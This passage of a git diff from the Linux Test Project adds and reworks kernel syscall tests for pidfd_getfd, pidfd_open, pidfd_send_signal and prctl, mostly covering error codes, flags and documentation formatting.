+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c
new file mode 100644
index 0000000..3431a09
--- /dev/null
+++ b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd02.c
@@ -0,0 +1,112 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Tests basic error handling of the pidfd_open syscall.
+ *
+ * - EBADF pidfd is not a valid PID file descriptor
+ * - EBADF targetfd is not an open file descriptor in the process referred
+ *   to by pidfd
+ * - EINVAL flags is not 0
+ * - ESRCH the process referred to by pidfd does not exist (it has terminated
+ *   and been waited on)
+ * - EPERM the calling process doesn't have PTRACE_MODE_ATTACH_REALCREDS permissions
+ *   over the process referred to by pidfd
+ */
+
+#include <stdlib.h>
+#include <pwd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "lapi/pidfd.h"
+
+static int valid_pidfd = -1, invalid_pidfd = -1, pidfd = -1;
+static uid_t uid;
+
+static struct tcase {
+	char *name;
+	int *pidfd;
+	int targetfd;
+	int flags;
+	int exp_errno;
+} tcases[] = {
+	{"invalid pidfd", &invalid_pidfd, 0, 0, EBADF},
+	{"invalid targetfd", &valid_pidfd, -1, 0, EBADF},
+	{"invalid flags", &valid_pidfd, 0, 1, EINVAL},
+	{"the process referred to by pidfd doesn't exist", NULL, 0, 0, ESRCH},
+	{"lack of required permission", &valid_pidfd, 0, 0, EPERM},
+};
+
+static void setup(void)
+{
+	pidfd_open_supported();
+	pidfd_getfd_supported();
+
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	uid = pw->pw_uid;
+
+	valid_pidfd = SAFE_PIDFD_OPEN(getpid(), 0);
+}
+
+static void cleanup(void)
+{
+	if (valid_pidfd > -1)
+		SAFE_CLOSE(valid_pidfd);
+	if (pidfd > -1)
+		SAFE_CLOSE(pidfd);
+}
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	int pid;
+
+	if (tc->exp_errno == EPERM) {
+		pid = SAFE_FORK();
+		if (!pid) {
+			SAFE_SETUID(uid);
+			TST_EXP_FAIL2(pidfd_getfd(valid_pidfd, tc->targetfd, tc->flags),
+				tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s",
+				valid_pidfd, tc->targetfd, tc->flags, tc->name);
+			TST_CHECKPOINT_WAKE(0);
+			exit(0);
+		}
+		TST_CHECKPOINT_WAIT(0);
+		SAFE_WAIT(NULL);
+		return;
+	} else if (tc->exp_errno == ESRCH) {
+		pid = SAFE_FORK();
+		if (!pid) {
+			TST_CHECKPOINT_WAIT(0);
+			exit(0);
+		}
+		pidfd = SAFE_PIDFD_OPEN(pid, 0);
+		TST_CHECKPOINT_WAKE(0);
+		SAFE_WAIT(NULL);
+		TST_EXP_FAIL2(pidfd_getfd(pidfd, tc->targetfd, tc->flags),
+			tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s",
+			pidfd, tc->targetfd, tc->flags, tc->name);
+		SAFE_CLOSE(pidfd);
+	} else	{
+		TST_EXP_FAIL2(pidfd_getfd(*tc->pidfd, tc->targetfd, tc->flags),
+			tc->exp_errno, "pidfd_getfd(%d, %d, %d) with %s",
+			*tc->pidfd, tc->targetfd, tc->flags, tc->name);
+	}
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/syscalls/pidfd_open/.gitignore b/testcases/kernel/syscalls/pidfd_open/.gitignore
index e0b8900..cebdc62 100644
--- a/testcases/kernel/syscalls/pidfd_open/.gitignore
+++ b/testcases/kernel/syscalls/pidfd_open/.gitignore
@@ -1,3 +1,4 @@
 pidfd_open01
 pidfd_open02
 pidfd_open03
+pidfd_open04
diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c
index f40e9b6..ce07e67 100644
--- a/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c
+++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open01.c
@@ -1,33 +1,33 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org>
+ */
+
+/*\
+ * [Description]
  *
- * Description:
  * Basic pidfd_open() test:
- * 1) Fetch the PID of the current process and try to get its file descriptor.
- * 2) Check that the close-on-exec flag is set on the file descriptor.
+ *
+ * - Fetch the PID of the current process and try to get its file descriptor.
+ * - Check that the close-on-exec flag is set on the file descriptor.
  */
 
 #include <unistd.h>
-#include <fcntl.h>
 #include "tst_test.h"
-#include "lapi/pidfd_open.h"
+#include "lapi/pidfd.h"
+
+static int pidfd = -1;
 
 static void run(void)
 {
 	int flag;
 
-	TEST(pidfd_open(getpid(), 0));
+	TST_EXP_FD_SILENT(pidfd_open(getpid(), 0), "pidfd_open(getpid(), 0)");
 
-	if (TST_RET == -1)
-		tst_brk(TFAIL | TTERRNO, "pidfd_open(getpid(), 0) failed");
+	pidfd = TST_RET;
+	flag = SAFE_FCNTL(pidfd, F_GETFD);
 
-	flag = fcntl(TST_RET, F_GETFD);
-
-	SAFE_CLOSE(TST_RET);
-
-	if (flag == -1)
-		tst_brk(TFAIL | TERRNO, "fcntl(F_GETFD) failed");
+	SAFE_CLOSE(pidfd);
 
 	if (!(flag & FD_CLOEXEC))
 		tst_brk(TFAIL, "pidfd_open(getpid(), 0) didn't set close-on-exec flag");
@@ -35,7 +35,14 @@
 	tst_res(TPASS, "pidfd_open(getpid(), 0) passed");
 }
 
+static void cleanup(void)
+{
+	if (pidfd > -1)
+		SAFE_CLOSE(pidfd);
+}
+
 static struct tst_test test = {
-	.min_kver = "5.3",
+	.setup = pidfd_open_supported,
+	.cleanup = cleanup,
 	.test_all = run,
 };
diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c
index dc86cae..9d6c932 100644
--- a/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c
+++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c
@@ -1,14 +1,21 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org>
+ */
+
+/*\
+ * [Description]
  *
- * Description:
- * Basic pidfd_open() test to test invalid arguments.
+ * Tests basic error handling of the pidfd_open syscall.
+ *
+ * - ESRCH the process specified by pid does not exist
+ * - EINVAL pid is not valid
+ * - EINVAL flags is not valid
  */
 #include "tst_test.h"
-#include "lapi/pidfd_open.h"
+#include "lapi/pidfd.h"
 
-pid_t expired_pid, my_pid, invalid_pid = -1;
+static pid_t expired_pid, my_pid, invalid_pid = -1;
 
 static struct tcase {
 	char *name;
@@ -23,6 +30,7 @@
 
 static void setup(void)
 {
+	pidfd_open_supported();
 	expired_pid = tst_get_unused_pid();
 	my_pid = getpid();
 }
@@ -31,27 +39,11 @@
 {
 	struct tcase *tc = &tcases[n];
 
-	TEST(pidfd_open(*tc->pid, tc->flags));
-
-	if (TST_RET != -1) {
-		SAFE_CLOSE(TST_RET);
-		tst_res(TFAIL, "%s: pidfd_open succeeded unexpectedly (index: %d)",
-			tc->name, n);
-		return;
-	}
-
-	if (tc->exp_errno != TST_ERR) {
-		tst_res(TFAIL | TTERRNO, "%s: pidfd_open() should fail with %s",
-			tc->name, tst_strerrno(tc->exp_errno));
-		return;
-	}
-
-	tst_res(TPASS | TTERRNO, "%s: pidfd_open() failed as expected",
-		tc->name);
+	TST_EXP_FAIL2(pidfd_open(*tc->pid, tc->flags), tc->exp_errno,
+			"pidfd_open with %s", tc->name);
 }
 
 static struct tst_test test = {
-	.min_kver = "5.3",
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = run,
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c
index 48470e5..16a8442 100644
--- a/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c
+++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c
@@ -1,8 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org>
+ */
+
+/*\
+ * [Description]
  *
- * Description:
  * This program opens the PID file descriptor of the child process created with
  * fork(). It then uses poll to monitor the file descriptor for process exit, as
  * indicated by an EPOLLIN event.
@@ -12,7 +15,7 @@
 #include <stdlib.h>
 
 #include "tst_test.h"
-#include "lapi/pidfd_open.h"
+#include "lapi/pidfd.h"
 
 static void run(void)
 {
@@ -27,11 +30,9 @@
 		exit(EXIT_SUCCESS);
 	}
 
-	TEST(pidfd_open(pid, 0));
+	TST_EXP_FD_SILENT(pidfd_open(pid, 0), "pidfd_open(%d, 0)", pid);
 
 	fd = TST_RET;
-	if (fd == -1)
-		tst_brk(TFAIL | TTERRNO, "pidfd_open() failed");
 
 	TST_CHECKPOINT_WAKE(0);
 
@@ -50,7 +51,7 @@
 }
 
 static struct tst_test test = {
-	.min_kver = "5.3",
+	.setup = pidfd_open_supported,
 	.test_all = run,
 	.forks_child = 1,
 	.needs_checkpoints = 1,
diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c
new file mode 100644
index 0000000..0e8ab69
--- /dev/null
+++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c
@@ -0,0 +1,93 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that the PIDFD_NONBLOCK flag works with pidfd_open() and
+ * that waitid() with a non-blocking pidfd returns EAGAIN.
+ */
+
+#include <unistd.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/pidfd.h"
+
+#ifndef P_PIDFD
+#define P_PIDFD  3
+#endif
+
+static int pidfd = -1;
+
+static void run(void)
+{
+	int flag, pid, ret;
+	siginfo_t info;
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		TST_CHECKPOINT_WAIT(0);
+		exit(EXIT_SUCCESS);
+	}
+
+	TST_EXP_FD_SILENT(pidfd_open(pid, PIDFD_NONBLOCK),
+				"pidfd_open(%d,  PIDFD_NONBLOCK)", pid);
+
+	pidfd = TST_RET;
+	flag = SAFE_FCNTL(pidfd, F_GETFL);
+
+	if (!(flag & O_NONBLOCK))
+		tst_brk(TFAIL, "pidfd_open(%d, O_NONBLOCK) didn't set O_NONBLOCK flag", pid);
+
+	tst_res(TPASS, "pidfd_open(%d, O_NONBLOCK) sets O_NONBLOCK flag", pid);
+
+	TST_EXP_FAIL(waitid(P_PIDFD, pidfd, &info, WEXITED), EAGAIN,
+			"waitid(P_PIDFD,...,WEXITED)");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	ret = TST_RETRY_FUNC(waitid(P_PIDFD, pidfd, &info, WEXITED), TST_RETVAL_EQ0);
+	if (ret == 0) {
+		tst_res(TPASS, "waitid(P_PIDFD) succeeded after child process terminated");
+	} else {
+		tst_res(TFAIL, "waitid(P_PIDFD) failed after child process terminated");
+		SAFE_WAIT(NULL);
+	}
+
+	SAFE_CLOSE(pidfd);
+}
+
+static void setup(void)
+{
+	pidfd_open_supported();
+
+	TEST(pidfd_open(getpid(), PIDFD_NONBLOCK));
+	if (TST_RET == -1) {
+		if (TST_ERR == EINVAL) {
+			tst_brk(TCONF, "PIDFD_NONBLOCK was supported since linux 5.10");
+			return;
+		}
+		tst_brk(TFAIL | TTERRNO,
+			"pidfd_open(getpid(),PIDFD_NONBLOCK) failed unexpectedly");
+	}
+	SAFE_CLOSE(TST_RET);
+}
+
+static void cleanup(void)
+{
+	if (pidfd > -1)
+		SAFE_CLOSE(pidfd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c
index 4cb5df9..4715850 100644
--- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c
+++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c
@@ -3,7 +3,10 @@
  * Copyright (c) 2019 SUSE LLC
  * Author: Christian Amann <camann@suse.com>
  */
-/*
+
+/*\
+ * [Description]
+ *
  * Tests if the pidfd_send_signal syscall behaves
  * like rt_sigqueueinfo when a pointer to a siginfo_t
  * struct is passed.
@@ -12,7 +15,8 @@
 #define _GNU_SOURCE
 #include <signal.h>
 #include <stdlib.h>
-#include "lapi/pidfd_send_signal.h"
+#include "tst_test.h"
+#include "lapi/pidfd.h"
 #include "tst_safe_pthread.h"
 
 #define SIGNAL  SIGUSR1
diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c
index 1e62b41..a3bf994 100644
--- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c
+++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c
@@ -3,28 +3,28 @@
  * Copyright (c) 2019 SUSE LLC
  * Author: Christian Amann <camann@suse.com>
  */
-/*
+
+/*\
+ * [Description]
+ *
  * Tests basic error handling of the pidfd_send_signal
  * system call.
  *
- * 1) Pass invalid flag value to syscall (value chosen
- *    to be unlikely to collide with future extensions)
- *    -> EINVAL
- * 2) Pass a file descriptor that is corresponding to a
- *    regular file instead of a pid directory
- *    -> EBADF
- * 3) Pass a signal that is different from the one used
- *    to initialize the siginfo_t struct
- *    -> EINVAL
- * 4) Try to send signal to other process (init) with
- *    missing privileges
- *    -> EPERM
+ * - EINVAL Pass invalid flag value to syscall (value chosen
+ *   to be unlikely to collide with future extensions)
+ * - EBADF Pass a file descriptor that is corresponding to a
+ *   regular file instead of a pid directory
+ * - EINVAL Pass a signal that is different from the one used
+ *   to initialize the siginfo_t struct
+ * - EPERM Try to send signal to other process (init) with
+ *   missing privileges
  */
 
 #define _GNU_SOURCE
 #include <pwd.h>
 #include <signal.h>
-#include "lapi/pidfd_send_signal.h"
+#include "tst_test.h"
+#include "lapi/pidfd.h"
 #include "tst_safe_pthread.h"
 
 #define CORRECT_SIGNAL		SIGUSR1
diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c
index 0903d67..20d96b1 100644
--- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c
+++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c
@@ -3,13 +3,18 @@
  * Copyright (c) 2019 SUSE LLC
  * Author: Christian Amann <camann@suse.com>
  */
-/*
+
+/*\
+ * [Description]
+ *
  * This test checks if the pidfd_send_signal syscall wrongfully sends
  * a signal to a new process which inherited the PID of the actual
  * target process.
+ *
  * In order to do so it is necessary to start a process with a pre-
  * determined PID. This is accomplished by writing to the
  * /proc/sys/kernel/ns_last_pid file.
+ *
  * By utilizing this, this test forks two children with the same PID.
  * It is then checked, if the syscall will send a signal to the second
  * child using the pidfd of the first one.
@@ -19,7 +24,8 @@
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
-#include "lapi/pidfd_send_signal.h"
+#include "tst_test.h"
+#include "lapi/pidfd.h"
 #include "tst_safe_pthread.h"
 
 #define PIDTRIES	3
diff --git a/testcases/kernel/syscalls/pipe/pipe12.c b/testcases/kernel/syscalls/pipe/pipe12.c
index 4c7eda2..f524040 100644
--- a/testcases/kernel/syscalls/pipe/pipe12.c
+++ b/testcases/kernel/syscalls/pipe/pipe12.c
@@ -11,7 +11,6 @@
 #define _GNU_SOURCE
 #include <unistd.h>
 #include <stdlib.h>
-#include <fcntl.h>
 #include "tst_test.h"
 #include "lapi/fcntl.h"
 
diff --git a/testcases/kernel/syscalls/pipe2/pipe2_02.c b/testcases/kernel/syscalls/pipe2/pipe2_02.c
index 9ba6966..ee31766 100644
--- a/testcases/kernel/syscalls/pipe2/pipe2_02.c
+++ b/testcases/kernel/syscalls/pipe2/pipe2_02.c
@@ -54,13 +54,11 @@
 	cleanup();
 }
 
-static const char *const resfile[] = {
-	TESTBIN,
-	NULL,
-};
-
 static struct tst_test test = {
-	.resource_files = resfile,
+	.resource_files = (const char *const []) {
+		TESTBIN,
+		NULL
+	},
 	.cleanup = cleanup,
 	.forks_child = 1,
 	.needs_root = 1,
diff --git a/testcases/kernel/syscalls/pipe2/pipe2_04.c b/testcases/kernel/syscalls/pipe2/pipe2_04.c
index 432007e..3789435 100644
--- a/testcases/kernel/syscalls/pipe2/pipe2_04.c
+++ b/testcases/kernel/syscalls/pipe2/pipe2_04.c
@@ -11,7 +11,6 @@
 #define _GNU_SOURCE
 #include <stdlib.h>
 #include <features.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <stdio.h>
 #include "lapi/fcntl.h"
diff --git a/testcases/kernel/syscalls/pivot_root/pivot_root01.c b/testcases/kernel/syscalls/pivot_root/pivot_root01.c
index 1fbe8c1..2d80928 100644
--- a/testcases/kernel/syscalls/pivot_root/pivot_root01.c
+++ b/testcases/kernel/syscalls/pivot_root/pivot_root01.c
@@ -9,8 +9,6 @@
 #include <errno.h>
 #include <lapi/syscalls.h>
 #include <sched.h>
-
-#include <sys/mount.h>
 #include <stdlib.h>
 
 #include "tst_test.h"
diff --git a/testcases/kernel/syscalls/pkeys/pkey01.c b/testcases/kernel/syscalls/pkeys/pkey01.c
index 04f5092..b47e700 100644
--- a/testcases/kernel/syscalls/pkeys/pkey01.c
+++ b/testcases/kernel/syscalls/pkeys/pkey01.c
@@ -52,7 +52,7 @@
 
 	check_pkey_support();
 
-	if (tst_hugepages == test.request_hugepages)
+	if (tst_hugepages == test.hugepages.number)
 		size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 	else
 		size = getpagesize();
@@ -161,6 +161,8 @@
 		break;
 		case PKEY_DISABLE_WRITE:
 			*buffer = 'a';
+			tst_res(TFAIL | TERRNO,
+				"Write buffer success, buffer[0] = %d", *buffer);
 		break;
 		}
 		exit(0);
@@ -183,6 +185,7 @@
 	break;
 	case PROT_WRITE:
 		*buffer = 'a';
+		tst_res(TPASS, "Write buffer success, buffer[0] = %d", *buffer);
 	break;
 	case PROT_READ | PROT_WRITE:
 	case PROT_READ | PROT_WRITE | PROT_EXEC:
@@ -221,5 +224,5 @@
 	.forks_child = 1,
 	.test = verify_pkey,
 	.setup = setup,
-	.request_hugepages = 1,
+	.hugepages = {1, TST_REQUEST},
 };
diff --git a/testcases/kernel/syscalls/ppoll/ppoll01.c b/testcases/kernel/syscalls/ppoll/ppoll01.c
index 3d2f92f..606018a 100644
--- a/testcases/kernel/syscalls/ppoll/ppoll01.c
+++ b/testcases/kernel/syscalls/ppoll/ppoll01.c
@@ -17,12 +17,12 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/wait.h>
-#include "lapi/syscalls.h"
 #include "ltp_signal.h"
 #include "time64_variants.h"
 #include "tst_sig_proc.h"
 #include "tst_test.h"
 #include "tst_timer.h"
+#include "lapi/syscalls.h"
 
 /* Older versions of glibc don't publish this constant's value. */
 #ifndef POLLRDHUP
diff --git a/testcases/kernel/syscalls/prctl/prctl01.c b/testcases/kernel/syscalls/prctl/prctl01.c
index 6ec41f1..939ca38 100644
--- a/testcases/kernel/syscalls/prctl/prctl01.c
+++ b/testcases/kernel/syscalls/prctl/prctl01.c
@@ -1,9 +1,15 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ */
+
+/*\
+ * [Description]
  *
- * This is a Phase I test for the prctl(2) system call.
- * It is intended to provide a limited exposure of the system call.
+ * Basic test for PR_SET_PDEATHSIG/PR_GET_PDEATHSIG
+ *
+ * Use PR_SET_PDEATHSIG to set SIGUSR2 signal and PR_GET_PDEATHSIG should
+ * receive this signal.
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/prctl/prctl02.c b/testcases/kernel/syscalls/prctl/prctl02.c
index ebc0e50..81cd8f3 100644
--- a/testcases/kernel/syscalls/prctl/prctl02.c
+++ b/testcases/kernel/syscalls/prctl/prctl02.c
@@ -1,36 +1,39 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ */
+
+/*\
+ * [Description]
  *
- * 1) prctl() fails with EINVAL when an invalid value is given for option
- * 2) prctl() fails with EINVAL when option is PR_SET_PDEATHSIG & arg2 is
- * not zero or a valid signal number.
- * 3) prctl() fails with EINVAL when option is PR_SET_DUMPABLE & arg2 is
- * neither SUID_DUMP_DISABLE nor SUID_DUMP_USER.
- * 4) prctl() fails with EFAULT when arg2 is an invalid address.
- * 5) prctl() fails with EFAULT when option is PR_SET_SECCOMP & arg2 is
- * SECCOMP_MODE_FILTER & arg3 is an invalid address.
- * 6) prctl() fails with EACCES when option is PR_SET_SECCOMP & arg2 is
- * SECCOMP_MODE_FILTER & the process does not have the CAP_SYS_ADMIN
- * capability.
- * 7) prctl() fails with EINVAL when option is PR_SET_TIMING & arg2 is not
- * not PR_TIMING_STATISTICAL.
- * 8,9) prctl() fails with EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2
- * is not equal to 1 or arg3 is nonzero.
- * 10) prctl() fails with EINVAL when options is PR_GET_NO_NEW_PRIVS & arg2,
- * arg3, arg4, or arg5 is nonzero.
- * 11) prctl() fails with EINVAL when options is PR_SET_THP_DISABLE & arg3,
- * arg4, arg5 is non-zero.
- * 12) prctl() fails with EINVAL when options is PR_GET_THP_DISABLE & arg2,
- * arg3, arg4, or arg5 is nonzero.
- * 13) prctl() fails with EINVAL when options is PR_CAP_AMBIENT & an unused
- * argument such as arg4 is nonzero.
- * 14) prctl() fails with EINVAL when option is PR_GET_SPECULATION_CTRL and
- * unused arguments is nonzero.
- * 15) prctl() fails with EPERM when option is PR_SET_SECUREBITS and the
- * caller does not have the CAP_SETPCAP capability.
- * 16) prctl() fails with EPERM when option is PR_CAPBSET_DROP and the caller
- * does not have the CAP_SETPCAP capability.
+ * - EINVAL when an invalid value is given for option
+ * - EINVAL when option is PR_SET_PDEATHSIG & arg2 is not zero or a valid
+ *   signal number
+ * - EINVAL when option is PR_SET_DUMPABLE & arg2 is neither
+ *   SUID_DUMP_DISABLE nor SUID_DUMP_USER
+ * - EFAULT when arg2 is an invalid address
+ * - EFAULT when option is PR_SET_SECCOMP & arg2 is SECCOMP_MODE_FILTER &
+ *   arg3 is an invalid address
+ * - EACCES when option is PR_SET_SECCOMP & arg2 is SECCOMP_MODE_FILTER &
+ *   the process does not have the CAP_SYS_ADMIN capability
+ * - EINVAL when option is PR_SET_TIMING & arg2 is not PR_TIMING_STATISTICAL
+ * - EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2 is not equal to 1 &
+ *   arg3 is zero
+ * - EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2 is equal to 1 & arg3
+ *   is nonzero
+ * - EINVAL when options is PR_GET_NO_NEW_PRIVS & arg2, arg3, arg4, or arg5
+ *   is nonzero
+ * - EINVAL when options is PR_SET_THP_DISABLE & arg3, arg4, arg5 is non-zero.
+ * - EINVAL when options is PR_GET_THP_DISABLE & arg2, arg3, arg4, or arg5 is
+ *   nonzero
+ * - EINVAL when options is PR_CAP_AMBIENT & an unused argument such as arg4
+ *   is nonzero
+ * - EINVAL when option is PR_GET_SPECULATION_CTRL and unused arguments is
+ *   nonzero
+ * - EPERM when option is PR_SET_SECUREBITS and the caller does not have the
+ *   CAP_SETPCAP capability
+ * - EPERM when option is PR_CAPBSET_DROP and the caller does not have the
+ *   CAP_SETPCAP capability
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/prctl/prctl03.c b/testcases/kernel/syscalls/prctl/prctl03.c
index 33d5a7e..bac918e 100644
--- a/testcases/kernel/syscalls/prctl/prctl03.c
+++ b/testcases/kernel/syscalls/prctl/prctl03.c
@@ -2,17 +2,24 @@
 /*
  * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test PR_SET_CHILD_SUBREAPER and PR_GET_CHILD_SUBREAPER of prctl(2).
- * 1) If PR_SET_CHILD_SUBREAPER marks a process as a child subreaper, it
- *    fulfills the role of init(1) for its descendant orphaned process.
- *    The PPID of its orphaned process will be reparented to the subreaper
- *    process, and the subreaper process can receive a SIGCHLD signal and
- *    wait(2) on the orphaned process to discover corresponding termination
- *    status.
- * 2) The setting of PR_SET_CHILD_SUBREAPER is not inherited by children
- *    created by fork(2).
- * 3) PR_GET_CHILD_SUBREAPER can get the setting of PR_SET_CHILD_SUBREAPER.
+ *
+ * - If PR_SET_CHILD_SUBREAPER marks a process as a child subreaper, it
+ *   fulfills the role of init(1) for its descendant orphaned process.
+ *   The PPID of its orphaned process will be reparented to the subreaper
+ *   process, and the subreaper process can receive a SIGCHLD signal and
+ *   wait(2) on the orphaned process to discover corresponding termination
+ *   status.
+ *
+ * - The setting of PR_SET_CHILD_SUBREAPER is not inherited by children
+ *   reated by fork(2).
+ *
+ * - PR_GET_CHILD_SUBREAPER can get the setting of PR_SET_CHILD_SUBREAPER.
  *
  * These flags was added by kernel commit ebec18a6d3aa:
  * "prctl: add PR_{SET,GET}_CHILD_SUBREAPER to allow simple process supervision"
diff --git a/testcases/kernel/syscalls/prctl/prctl04.c b/testcases/kernel/syscalls/prctl/prctl04.c
index 585274a..2f7e9a1 100644
--- a/testcases/kernel/syscalls/prctl/prctl04.c
+++ b/testcases/kernel/syscalls/prctl/prctl04.c
@@ -2,20 +2,27 @@
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test PR_GET_SECCOMP and PR_SET_SECCOMP of prctl(2).
- * 1) If PR_SET_SECCOMP sets the SECCOMP_MODE_STRICT for the calling thread,
- *    the only system call that the thread is permitted to make are read(2),
- *    write(2),_exit(2)(but not exit_group(2)), and sigreturn(2).  Other
- *    system calls result in the delivery of a SIGKILL signal. This operation
- *    is available only if the kernel is configured with CONFIG_SECCOMP enabled.
- * 2) If PR_SET_SECCOMP sets the SECCOMP_MODE_FILTER for the calling thread,
- *    the system calls allowed are defined by a pointer to a Berkeley Packet
- *    Filter. Other system calls result int the delivery of a SIGSYS signal
- *    with SECCOMP_RET_KILL. The SECCOMP_SET_MODE_FILTER operation is available
- *    only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.
- * 3) If SECCOMP_MODE_FILTER filters permit fork(2), then the seccomp mode
- *    is inherited by children created by fork(2).
+ *
+ * - If PR_SET_SECCOMP sets the SECCOMP_MODE_STRICT for the calling thread,
+ *   the only system call that the thread is permitted to make are read(2),
+ *   write(2),_exit(2)(but not exit_group(2)), and sigreturn(2).  Other
+ *   system calls result in the delivery of a SIGKILL signal. This operation
+ *   is available only if the kernel is configured with CONFIG_SECCOMP enabled.
+ *
+ * - If PR_SET_SECCOMP sets the SECCOMP_MODE_FILTER for the calling thread,
+ *   the system calls allowed are defined by a pointer to a Berkeley Packet
+ *   Filter. Other system calls result int the delivery of a SIGSYS signal
+ *   with SECCOMP_RET_KILL. The SECCOMP_SET_MODE_FILTER operation is available
+ *   only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.
+ *
+ * - If SECCOMP_MODE_FILTER filters permit fork(2), then the seccomp mode
+ *   is inherited by children created by fork(2).
  */
 
 #include <errno.h>
@@ -36,8 +43,9 @@
 #define FNAME "filename"
 
 static const struct sock_filter  strict_filter[] = {
-	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof (struct seccomp_data, nr))),
+	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),
 
+	BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_rt_sigprocmask, 6, 0),
 	BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_close, 5, 0),
 	BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_exit,  4, 0),
 	BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_wait4, 3, 0),
diff --git a/testcases/kernel/syscalls/prctl/prctl05.c b/testcases/kernel/syscalls/prctl/prctl05.c
index ae390fd..dd59663 100644
--- a/testcases/kernel/syscalls/prctl/prctl05.c
+++ b/testcases/kernel/syscalls/prctl/prctl05.c
@@ -2,23 +2,30 @@
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
  * Test PR_GET_NAME and PR_SET_NAME of prctl(2).
- * 1)Set the name of the calling thread, the name can be up to 16 bytes
+ *
+ * - Set the name of the calling thread, the name can be up to 16 bytes
